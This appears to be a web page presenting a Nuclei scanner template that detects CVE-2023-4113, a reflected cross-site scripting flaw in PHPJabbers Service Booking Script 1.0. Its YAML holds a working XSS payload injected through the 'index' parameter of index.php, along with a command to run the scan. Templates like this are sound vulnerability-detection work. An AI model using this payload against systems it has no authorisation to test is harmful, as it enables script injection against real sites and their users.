PHPJabbers Service Booking Script 1.0 - Cross Site Scripting

ID: CVE-2023-4113

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,packetstorm,xss,php,jabbers,phpjabbers

Description

A vulnerability was found in PHP Jabbers Service Booking Script 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be initiated remotely.

YAML Source

id: CVE-2023-4113

info:
  name: PHPJabbers Service Booking Script 1.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in PHP Jabbers Service Booking Script 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument index leads to cross site scripting. The attack can be initiated remotely.
  reference:
    - http://packetstormsecurity.com/files/173931/PHPJabbers-Service-Booking-Script-1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4113
    - https://vuldb.com/?ctiid.235960
    - https://vuldb.com/?id.235960
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4113
    cwe-id: CWE-79
    epss-score: 0.0027
    epss-percentile: 0.67777
    cpe: cpe:2.3:a:phpjabbers:service_booking_script:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: service_booking_script
  tags: cve2023,cve,packetstorm,xss,php,jabbers,phpjabbers

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Select Service(s)", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a00483046022100f72a9d11f69308b1ce1c8bb7b24ecc05dfd2ef1032ea004a5dd93dff1813664d0221009963f22b583af5aeff9d449af008d6cbc9c88fe9512fa8c1dc3beeba8d22bc40:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4113.yaml"

View on Github